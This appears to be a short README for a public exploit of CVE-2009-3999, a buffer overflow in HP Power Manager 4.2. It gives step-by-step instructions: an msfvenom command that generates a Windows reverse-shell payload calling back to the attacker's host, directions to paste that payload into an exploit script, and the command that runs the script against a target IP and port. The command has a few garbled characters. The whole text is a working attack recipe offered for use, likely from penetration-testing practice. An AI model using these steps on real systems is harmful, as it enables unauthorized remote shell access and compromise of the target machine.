CVE-2009-3999

HP Power Manager 4.2 (Build 7) exploit
inspired by https://github.com/CountablyInfinite/HP-Power-Manager-Buffer-Overflow-Python3

STEP 1

msfvenom -p windows/shell_reverse_tcp LHOST=YOUR-KALI-LINUX-IP LPORT=80 EXITFUNC=thread -b '\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5' x86/alpha_mixed --platform windows -f python

STEP 2

copy output of msfvenom into script, remove b
buf += b" to buf += "
from line 34 to 62

STEP 3

sudo python3 ./hp_pm_exploit_p3.py RHOST RPORT LPORT
Example: sudo python3 ./hp_pm_exploit_p3.py 192.168.103.45 80 80